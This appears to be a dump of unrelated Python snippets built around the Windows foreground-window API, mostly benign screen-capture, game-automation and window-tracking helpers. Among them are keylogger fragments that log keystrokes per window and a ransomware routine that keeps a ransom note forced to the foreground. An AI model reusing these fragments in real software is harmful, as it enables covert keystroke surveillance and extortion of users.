def gotResults_nextfield(self, words, fullResults): """special commands""" dct = self.dictobj if dct.app and dct.commandnextfield: prevFocus = dct.acquireFocus() dct.activateMenuItem("commandnextfield") #this is a test.dct.updateState() dct.looseFocus(prevFocus) hndle = win32gui.GetForegroundWindow() if hndle == dct.app: print('in target application') self.wait(1) dct.sendKey("{backspace}") self.wait() natlink.recognitionMimic(["\\Cap"]) #dct.selectField() else: D("Not a valid menu command in app %s: %s" % (dct.app, dct.commandnextfield))
def grab_screen(method=0): hwin = win32gui.GetForegroundWindow() foreground_window_title = win32gui.GetWindowText(hwin) # if the foreground window is not the Stardew Valley, return None if foreground_window_title != "Stardew Valley": return None rect = win32gui.GetWindowRect(hwin) # If all dimensions are negative the game is minimized if all(i < 0 for i in rect): return None # Method 0: (default) # FPS Deco: 60 # TODO: ainda tem o bug que não captura a imagem no canto direito inferior if method == 0: left, top = rect[0:2] width = rect[2] - rect[0] height = rect[3] - rect[1] hwindc = win32gui.GetWindowDC(hwin) srcdc = win32ui.CreateDCFromHandle(hwindc) memdc = srcdc.CreateCompatibleDC() bmp = win32ui.CreateBitmap() bmp.CreateCompatibleBitmap(srcdc, width, height) memdc.SelectObject(bmp) memdc.BitBlt((0, 0), (width, height), srcdc, (left, top), win32con.SRCCOPY) signedIntsArray = bmp.GetBitmapBits(True) img = np.fromstring(signedIntsArray, dtype='uint8') img.shape = (height, width, 4) # print(f"Top-Left corner: ({left}, {top}). Dimensions: ({width}, {height})") srcdc.DeleteDC() memdc.DeleteDC() win32gui.ReleaseDC(hwin, hwindc) win32gui.DeleteObject(bmp.GetHandle()) return img
def captureScreen(): nowTime = datetime.datetime.now() myTkWin = win32gui.GetForegroundWindow() win32gui.ShowWindow(myTkWin, win32con.SW_HIDE) beforeActive = getBeoreForeWindo() time.sleep(1) beforeActiveTitle = win32gui.GetWindowText(beforeActive) te = re.split(" ", beforeActiveTitle) firstShepe = te[0] secondShape = te[len(te) - 1] print(firstShepe + "-" + secondShape + nowTime.strftime(" %m-%d-%Y %H-%M-%S")) win32gui.SetForegroundWindow(beforeActive) pyautogui.hotkey("alt", "printscreen") sc = ImageGrab.grabclipboard() # ドットがあるとバグる sc.save("./store/" + firstShepe + "-" + secondShape + nowTime.strftime(" %m-%d-%Y %H-%M-%S") + ".png") win32gui.ShowWindow(myTkWin, win32con.SW_SHOW)
def capture_soundrecorder_image(imgname): """ Open windows SoundRecorder and capture it's picture """ logger.debug("Launch SoundRecorder") app = application.Application.start( os.path.join("c:\\windows\\sysnative", "SoundRecorder.exe")) time.sleep(3) logger.debug("Capture SoundRecorder picture") rect = RECT() HWND = win32gui.GetForegroundWindow() # get handler of current window ctypes.windll.user32.GetWindowRect( HWND, ctypes.byref(rect)) # get coordinate of current window rangle = (rect.left + 2, rect.top + 2, rect.right - 2, rect.bottom - 2 ) # adjust coordinate img = ImageGrab.grab(rangle) # capture current window img.save(imgname, 'JPEG') logger.debug("Exit SoundRecorder") app.kill_()
def getActiveWindow_Windows(): try: import win32process, win32gui win = "Installed" except ImportError: if DEBUG is not None: print("win32process || win32gui is not installed") win = None if win is not None: try: # This produces a list of PIDs active window relates to pid = win32process.GetWindowThreadProcessId( win32gui.GetForegroundWindow()) # pid[-1] is the most likely to survive last longer return psutil.Process(pid[-1]).name() except: pass return None
def __enter__(self): """Attaches the current thread to the foreground window's message queue. This is an old and well known exploit used to bypass Windows Focus rules: http://www.google.com/search?q=attachthreadinput+setforegroundwindow """ self._active_thread_id = 0 active_hwnd = win32gui.GetForegroundWindow() if not active_hwnd: logging.warning('No active window is found.') return current_thread_id = win32api.GetCurrentThreadId() active_thread_id, _ = win32process.GetWindowThreadProcessId( active_hwnd) win32process.AttachThreadInput(current_thread_id, active_thread_id, 1) logging.info('Attached current thread input %s to active thread: %s', current_thread_id, active_thread_id) self._active_thread_id = active_thread_id
def installChrome(self): driver = webdriver.Chrome("C:/chromedriver.exe") driver.get( "https://www.google.com/chrome/browser/thankyou.html?statcb=1&installdataindex=defaultbrowser" ) window = win32gui.GetForegroundWindow() win32gui.ShowWindow(window, win32con.SW_MAXIMIZE) time.sleep(1) pyautogui.click([327, 958]) driver.implicitly_wait(3) pyautogui.click([103, 954]) time.sleep(1) pyautogui.click([693, 517])
def OnKeyboardEvent(event): # Now you can access your hookmanager, and change which keys you want # to watch. Using 'event' and 'hm', you can do some fun stuff in here. global hm global lastWindow window=win32gui.GetWindowText(win32gui.GetForegroundWindow()) ####window = event.WindowName ####I'm not sure, but these last two functions may not return the "exact" ####name values. I would call the same function you trying to compare against. key = chr(event.Ascii) if window != lastWindow: ## Now you know these at least come from same function start = '-----------------------------------' print str(start) print window lastWindow = window print key
def focus(self): delay = None # if the window wasn't already active we want to give it time to focus hwnd = self._getVamHndl() # Is the window minimized? if win32gui.IsIconic(hwnd): win32gui.ShowWindow(hwnd, win32con.SW_RESTORE) delay = "Window was minimized" # Delay if the window wasn't already active if hwnd != win32gui.GetForegroundWindow(): delay = "Window was not in focus" win32gui.ShowWindow(hwnd, 5) win32gui.SetForegroundWindow(hwnd) if delay: print("Delaying because: {}".format(delay)) time.sleep(.2)
def on_press(key): global currentApp nextApp = win32gui.GetWindowText(win32gui.GetForegroundWindow()) if nextApp == 'Cortana': nextApp = 'Windows search bar' else: pass if nextApp != currentApp and nextApp != '': displayData.append(f'[{absoluteTime}] ~ {nextApp}\n') currentApp = nextApp else: pass unclear_keys = { 'Key.enter': '[ENTER]\n', 'Key.backspace': '[BACKSPACE]', 'Key.space': ' ', 'Key.alt_l': '[ALT]', 'Key.tab': '[TAB]', 'Key.delete': '[DEL]', 'Key.ctrl_l': '[CTRL]', 'Key.left': '[LEFT ARROW]', 'Key.right': '[RIGHT ARROW]', 'Key.shift': '[SHIFT]', '\\x13': '[CTRL-S]', '\\x17': '[CTRL-W]', 'Key.caps_lock': '[CAPS LK]', '\\x01': '[CTRL-A]', 'Key.cmd': '[WINDOWS KEY]', 'Key.print_screen': '[PRNT SCR]', '\\x03': '[CTRL-C]', '\\x16': '[CTRL-V]' } key = str(key).strip('\'') if key in unclear_keys: displayData.append(unclear_keys[key]) else: displayData.append(key)
def openPDF(): ### open the file pyautogui.click(clicks=2) ### wait for file to open time.sleep(1) ### get window title (ie. filename) windowTitle = win32gui.GetWindowText(win32gui.GetForegroundWindow()) ### open the file filename = windowTitle.split(".pdf")[0] + ".pdf" path = "C:/Users/Taras/Desktop/PDFs/" fp = open(path + filename, 'rb') parser = PDFParser(fp) doc = PDFDocument(parser) return doc
def overwatch(self): if self.preller == 0: if self.StatusOfApp == 0: wakeUpKey = {0x10: 'shift', 0x20: 'space'} for i in range(1, 256): if win32api.GetAsyncKeyState(i): if i in wakeUpKey: self.startUp() self.preller = 4 if self.StatusOfApp == 1: shutDownKey = {0x10: 'shift', 0x20: 'space'} for i in range(1, 256): if win32api.GetAsyncKeyState(i): if i in shutDownKey: self.hibernate() self.preller = 4 if self.getHandleOfThisWindow( ) != win32gui.GetForegroundWindow(): self.hibernate()
def show_ransom_note(self): # Open the ransom note. ransom = subprocess.Popen(['notepad.exe', 'RANSOM_NOTE.txt']) count = 0 # DEBUG while True: time.sleep(0.1) top_window = win32gui.GetWindowText(win32gui.GetForegroundWindow()) if top_window != 'RANSOM_NOTE - Notepad': # Kill the ransom note process so we can open it again and make sure it is in the foreground. time.sleep(0.1) ransom.kill() time.sleep(0.1) # Open the ransom note. ransom = subprocess.Popen(['notepad.exe', 'RANSOM_NOTE.txt']) # Sleep for 10 seconds. time.sleep(10) count += 1 if count == 5: break
def tap(self, x, y): x, y = int(x), int(y) self.root.debug("Tapping at location ({},{})".format(x, y)) if self._debug: # Helper to debug taps input("waiting for confirmation press enter") ox, oy = win32api.GetCursorPos() curr_window = win32gui.GetForegroundWindow() win32gui.ShowWindow(self.win_handle, win32con.SW_RESTORE) x, y = int(x), int(y) cx, cy = win32gui.ClientToScreen(self.win_handle, (x, y)) x, y = self.__calculate_absolute_coordinates__(cx, cy) win32api.mouse_event(win32con.MOUSEEVENTF_MOVE | win32con.MOUSEEVENTF_ABSOLUTE, x, y, 0, 0) win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, x, y, 0, 0) win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, x, y, 0, 0) time.sleep(20 / 1000) win32api.SetCursorPos((ox, oy)) win32gui.SetActiveWindow(curr_window)
def screenshot(self): hwnd = win32gui.FindWindow(None, self.window_name) if not hwnd: raise Exception("Window not found!") if win32gui.GetForegroundWindow() != hwnd and self.should_hover: win32gui.SetForegroundWindow(hwnd) time.sleep(0.1) self.should_hover = False l, t, r, d = win32gui.GetClientRect(hwnd) x, y = win32gui.ClientToScreen(hwnd, (l, t)) return cv2.cvtColor( np.asarray( pyautogui.screenshot( region=(x, y, *win32gui.ClientToScreen(hwnd, (r - x, d - y))))), cv2.COLOR_RGB2BGR)
def active_window_process_name(self): fore_win_id = win32gui.GetForegroundWindow() pid = win32process.GetWindowThreadProcessId( fore_win_id ) #This produces a list of PIDs active window relates to try: app_name = psutil.Process(pid[-1]).name().split('.exe')[0].title() logging.warning(f'App name: {app_name}') if app_name in self.titles: return app_name except psutil._exceptions.NoSuchProcess: logging.warning(psutil._exceptions.NoSuchProcess) window_title = win32gui.GetWindowText(fore_win_id) logging.warning(f'Window title {window_title}') try: window_title = ' '.join(window_title.split()[0:2]) except IndexError: pass return window_title
def on_release(self, key): if key == keyboard.Key.esc: # Stops listener return self.stop() currentWindow = win.GetWindowText(win.GetForegroundWindow( )) # getting text of current displayed process """ logging.info(currentWindow) logging.info("CURRENT PROCESS " + self.currentProcess) logging.info("CURRENT SHORTCUT " + self.currentShortcut.getKeysString()) logging.info("CURRENT WINDOW " + str(currentWindow)) logging.info("CURRENT PRESSED DOWN KEYS " + str(self.__pressed)) logging.info("CURRENT SHORTCUT KEYS " + str(self.currentShortcut.getKeys())) """ if self.currentProcess == str(currentWindow): #logging.info("CURRENT PROCESS EQUALS CURRENT WINDOW") try: if self.checkCompletedCurrentShortcut( self.__pressed, self.currentShortcut.getKeys()): #logging.info("KEYS ARE EQUAL") self.__pressed = list( dict.fromkeys(self.__pressed) ) # removes duplicate keys added from being pressed down from list keys = str(' '.join( self.__pressed)) # convert list to string logging.info( keys ) # log the completed shortcut to file with timestamp self.completedShortcuts.append(self.currentShortcut) if self.checkCompleted( ): # stops listening once shortcuts have been completed return self.stop() self.updateTasks( ) # update tasks to currentProcess and currentShortcut except AttributeError: print("Error") #eel.next() self.__pressed = [] # clear current pressed keys if self.checkCompleted( ): # stops listening once shortcuts have been completed return self.stop()
def test_click_coordinates(): hwnd = win32gui.GetForegroundWindow() win32gui.SetWindowPos(hwnd, win32con.HWND_TOPMOST, 1153, 222, 440, 593, 0) def click(name): x, y = click_coordinates.click_coordinates(game_position, name) pyautogui.click(x, y) # This list may differ for other websites ALL_CLICK_NAMES = [ 'fold', 'check', 'call', 'bet', 'raise', 'plus', 'minus', 'all_in', 'available_seat_1', 'available_seat_2', 'available_seat_3', 'available_seat_4', 'available_seat_5', 'exit', 'exit_yes', 'menu', 'rebuy_menu', 'leave_next_hand_ok', 'buy_in', 'buy_in_plus', 'buy_in_minus', 're_buy', 're_buy_plus', 're_buy_minus', 'i_am_back', 'exit_probable_advertisement', 'close_update_window', ] for name in ALL_CLICK_NAMES: print('clicking on %s in 3 seconds...' % name) time.sleep(3) click(name)
def callback(): """ Функция обнаруживающая активное окно и его координаты :return: {text = <текст из окна>, coordinates = [<четыре координаты>]} """ hwnd = win32gui.GetForegroundWindow() try: rect = win32gui.GetWindowRect(hwnd) x1 = rect[0] y1 = rect[1] x2 = rect[2] y2 = rect[3] result = dict() result.update(text=win32gui.GetWindowText(hwnd)) result.update(coordinates=[x1, y1, x2, y2]) return result except: return None
def return_top(self): """ Return name and title of the focused window in string format in supported OSes. Code adapted from: Albert's answer (https://stackoverflow.com/questions/5292204/macosx-get-foremost-window-title) and RobC's answer (https://stackoverflow.com/questions/51775132/how-to-get-return-value-from-applescript-in-python) Returns: str: "name, title" """ if platform.system() == "Darwin": frontapp = ''' global frontApp, frontAppName, windowTitle set windowTitle to "" tell application "System Events" set frontApp to first application process whose frontmost is true set frontAppName to name of frontApp tell process frontAppName tell (1st window whose value of attribute "AXMain" is true) set windowTitle to value of attribute "AXTitle" end tell end tell end tell return {frontAppName, windowTitle} ''' proc = Popen(['osascript', '-'], stdin=PIPE, stdout=PIPE, stderr=PIPE, universal_newlines=True) front, error = proc.communicate(frontapp) return front elif platform.system() == "Windows": front = psutil.Process( win32process.GetWindowThreadProcessId( win32gui.GetForegroundWindow())[-1]).name() else: raise UnsupportedOSError( platform.system() + " is not supported by this version of time-cord.")
def _WindowsShutdownBlocker(title='Python script'): """ Block Windows shutdown when you do something important. """ from ctypes import CFUNCTYPE, c_bool, c_uint, c_void_p, c_wchar_p, windll import win32con import win32gui def WndProc(hWnd, message, wParam, lParam): if message == win32con.WM_QUERYENDSESSION: return False else: return win32gui.DefWindowProc(hWnd, message, wParam, lParam) CALLBACK = CFUNCTYPE(c_bool, c_void_p, c_uint, c_void_p, c_void_p) wc = win32gui.WNDCLASS() wc.style = win32con.CS_GLOBALCLASS | win32con.CS_VREDRAW | win32con.CS_HREDRAW wc.lpfnWndProc = CALLBACK(WndProc) wc.hbrBackground = win32con.COLOR_WINDOW + 1 wc.lpszClassName = "block_shutdown_class" win32gui.RegisterClass(wc) hwnd = win32gui.CreateWindow(wc.lpszClassName, title, win32con.WS_OVERLAPPEDWINDOW, 50, 50, 100, 100, 0, 0, win32gui.GetForegroundWindow(), None) win32gui.ShowWindow(hwnd, win32con.SW_HIDE) windll.user32.ShutdownBlockReasonCreate.argtypes = [c_void_p, c_wchar_p] windll.user32.ShutdownBlockReasonCreate.restype = c_bool windll.user32.ShutdownBlockReasonCreate( hwnd, "Important work in processing, don't shutdown :-(") yield windll.user32.ShutdownBlockReasonDestroy.argtypes = [c_void_p] windll.user32.ShutdownBlockReasonDestroy.restype = c_bool windll.user32.ShutdownBlockReasonDestroy(hwnd) win32gui.DestroyWindow(hwnd) win32gui.UnregisterClass(wc.lpszClassName, None)
def send_msg(receiver, qq_num, max_try_times, retry_intvl, fail_list=None): # 注意:QQ要开启按enter键发送消息,且设置-主面板-关闭主面板时隐藏到任务栏 std_sleep_seconds = 0.5 datetime_now = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) if fail_list != None: message = 'Fail_list: ' + str(fail_list) else: message = datetime_now + ' Success!' is_success = False for try_time in range(max_try_times): try: os.system('start tencent://message/?uin=' + qq_num + '^&fuin=2701796462') # +'&fuin=0&Menu=yes' time.sleep(3 * std_sleep_seconds) hwnd = win32gui.GetForegroundWindow() result = win32api.SendMessage( hwnd, WM_INPUTLANGCHANGEREQUEST, 0, 0x4090804) # 切换为中文键盘布局的英文输入法,result==0代表设置成功 pyautogui.typewrite(message) time.sleep(3 * std_sleep_seconds) pyautogui.press('enter') time.sleep(2 * std_sleep_seconds) pyautogui.hotkey('alt', 'f4') time.sleep(0.5) is_success = True break except: if try_time == max_try_times - 1: break print("发送失败,正在重试...") time.sleep(retry_intvl) continue return is_success
def watch_screen(self): while True: handle = win32gui.FindWindow('D3 Main Window Class', 'Diablo III') if (handle and win32gui.GetForegroundWindow() == handle and any(( self.settings.special['auto_start'], self.settings.special['auto_open'], self.settings.special['auto_gamble'], self.settings.special['auto_upgrade_gem'], self.settings.special['auto_accept_gr'], )) and not self.paused): try: screenshot = get_image(handle) if self.settings.special['auto_start']: Thread(target=screen_search.start_game, args=(screenshot, handle)).start() if self.settings.special['auto_open']: Thread( target=screen_search.open_rift, args=( screenshot, handle, self.settings.special['auto_open_option'], ), ).start() if self.settings.special['auto_gamble']: Thread( target=screen_search.gamble, args=( screenshot, handle, self.settings.special['gamble_item'], ), ).start() if self.settings.special['auto_accept_gr']: Thread(target=screen_search.accept_gr, args=(screenshot, handle)).start() if self.settings.special['auto_upgrade_gem']: Thread(target=screen_search.upgrade_gem, args=(screenshot, handle)).start() except: print('Handle not found or sth') sleep(0.3)
def submit_to_broswer(self): for i in range(10): handle = win32gui.GetForegroundWindow() title = SingleHwnd(handle).get_title() submit_success = False error_sent = False if re.match("SAS Studio", title): driver = comclt.Dispatch("WScript.Shell") time.sleep(0.01) # go to the code tab driver.SendKeys("%4") # insert new code time.sleep(0.01) driver.SendKeys("^a") time.sleep(0.01) driver.SendKeys("^v") # submit time.sleep(0.5) driver.SendKeys("{F3}") submit_success = True break else: try: self.activate(require_studio=True) except: error_sent = True sublime.message_dialog( "Activating %s failed, check if it is running!" % self.browser) break time.sleep(0.1) if submit_success: if self.activate_subl_after_submit: time.sleep(0.1) try: _ = os.popen('\"%s\" --command "sas_submit_activate"' % self.subl_path) except Exception as e: sublime.message_dialog(e) elif error_sent == False: sublime.message_dialog( "Cannot submit to SAS, check if SAS is running!")
def get_active_window(): try: if sys.platform == "darwin": app = NSWorkspace.sharedWorkspace().frontmostApplication() active_app_name = app.localizedName() options = kCGWindowListOptionOnScreenOnly windowList = CGWindowListCopyWindowInfo(options, kCGNullWindowID) windowTitle = 'Unknown' for window in windowList: windowNumber = window['kCGWindowNumber'] ownerName = window['kCGWindowOwnerName'] # geometry = window['kCGWindowBounds'] windowTitle = window.get('kCGWindowName', u'Unknown') if windowTitle and (event_window_num == windowNumber or ownerName == active_app_name): # log.debug( # 'ownerName=%s, windowName=%s, x=%s, y=%s, ' # 'width=%s, height=%s' # % (window['kCGWindowOwnerName'], # window.get('kCGWindowName', u'Unknown'), # geometry['X'], # geometry['Y'], # geometry['Width'], # geometry['Height'])) break return _review_active_info(active_app_name, windowTitle) if sys.platform == "win32": pid = win32process.GetWindowThreadProcessId( win32gui.GetForegroundWindow() ) # This produces a list of PIDs active window relates to program_name = psutil.Process(pid[-1]).name() print(psutil.Process(pid[-1]).name() ) # pid[-1] is the most likely to survive last longer active_window = GetWindowText(GetForegroundWindow()) return program_name, active_window except: log.error('Unexpected error: %s' % sys.exc_info()[0]) log.error('error line number: %s' % sys.exc_traceback.tb_lineno) return 'Unknown', 'Unknown'
def setupScreenshots( self ): # get window handle print 'Please switch to the game window within 3 seconds in order to identify it for screenshot purposes' time.sleep( 3 ) hwnd = win32gui.GetForegroundWindow() # get dimensions l, t, r, b = win32gui.GetWindowRect( hwnd ) self.screenWidth = w = r - l self.screenHeight = h = b - t # get dc handle and object hwndDC = win32gui.GetWindowDC( hwnd ) # dc handle (int) self.mfcDC = win32ui.CreateDCFromHandle( hwndDC ) # dc object self.saveDC = self.mfcDC.CreateCompatibleDC() # dc object compatible with device # get bitmap self.bmp = win32ui.CreateBitmap() self.bmp.CreateCompatibleBitmap( self.mfcDC, w, h ) self.saveDC.SelectObject( self.bmp )
def swap_to_next_window(self, locked=False, minimize_current=False): """Pass locked arg true to block swap when scroll_lock_off""" if locked and not self.scroll_lock_on: print(">> SCROLL LOCK - OFF") return # TODO: handle foreground not being wow window print("Swap to next window") hwnd = gui.GetForegroundWindow() _, proc_id = proc.GetWindowThreadProcessId(hwnd) acc_idx = self.process_acc_idx.get(proc_id, None) if acc_idx is None: # Set last window to last in list of indices acc_idx = (self.last_foreground_acc_idx or self.acc_indices[len(self.acc_indices) - 1]) self.last_foreground_acc_idx = acc_idx next_idx = self._get_next_acc_idx(acc_idx) self._set_foreground_window(next_idx, minimize_current)
def paste_into_clipboard_window(): class RECT(ctypes.Structure): _fields_ = [('left', ctypes.c_long), ('top', ctypes.c_long), ('right', ctypes.c_long), ('bottom', ctypes.c_long)] def __str__(self): return str((self.left, self.top, self.right, self.bottom)) rect = RECT() HWND = win32gui.GetForegroundWindow() ctypes.windll.user32.GetWindowRect(HWND,ctypes.byref(rect)) rangle = (rect.left+2,rect.top+2,rect.right-2,rect.bottom-2) pic = ImageGrab.grab(rangle) ImageByte = BytesIO() pic.save(ImageByte, format = "BMP") ImageByte = ImageByte.getvalue()[14:] win32clipboard.OpenClipboard() win32clipboard.EmptyClipboard() win32clipboard.SetClipboardData(win32clipboard.CF_DIB, ImageByte) win32clipboard.CloseClipboard()
def set_layout(wparam, lparam, broadcast): """ Set the current keyboard layout by posting a WM_INPUTLANGCHANGEREQUEST message. :param wparam: WM_INPUTLANGCHANGEREQUEST message WPARAM value :type wparam: int :param lparam: WM_INPUTLANGCHANGEREQUEST message LPARAM value :type lparam: int :param broadcast: whether to post the request message to all windows :type broadcast: bool """ # Post the request message to all windows, i.e. broadcast, if specified. # Otherwise, only post the request message to the foreground window. if broadcast: hwnd = win32con.HWND_BROADCAST else: hwnd = win32gui.GetForegroundWindow() # Post the request message. post_lang_change_request_message(hwnd, wparam, lparam)
def change_keyboard(lan: Lan): """ 修改当前激活窗口输入法 :param lan: 语言类型 :return: True 修改成功,False 修改失败 """ # 获取系统输入法列表 hwnd = win32gui.GetForegroundWindow() im_list = win32api.GetKeyboardLayoutList() im_list = list(map(hex, im_list)) # 加载输入法 if hex(lan.value) not in im_list: win32api.LoadKeyboardLayout('0000' + hex(lan.value)[-4:], 1) result = win32api.SendMessage(hwnd, win32con.WM_INPUTLANGCHANGEREQUEST, 0, lan.value) if result == 0: print('设置%s键盘成功!' % lan.name) return result == 0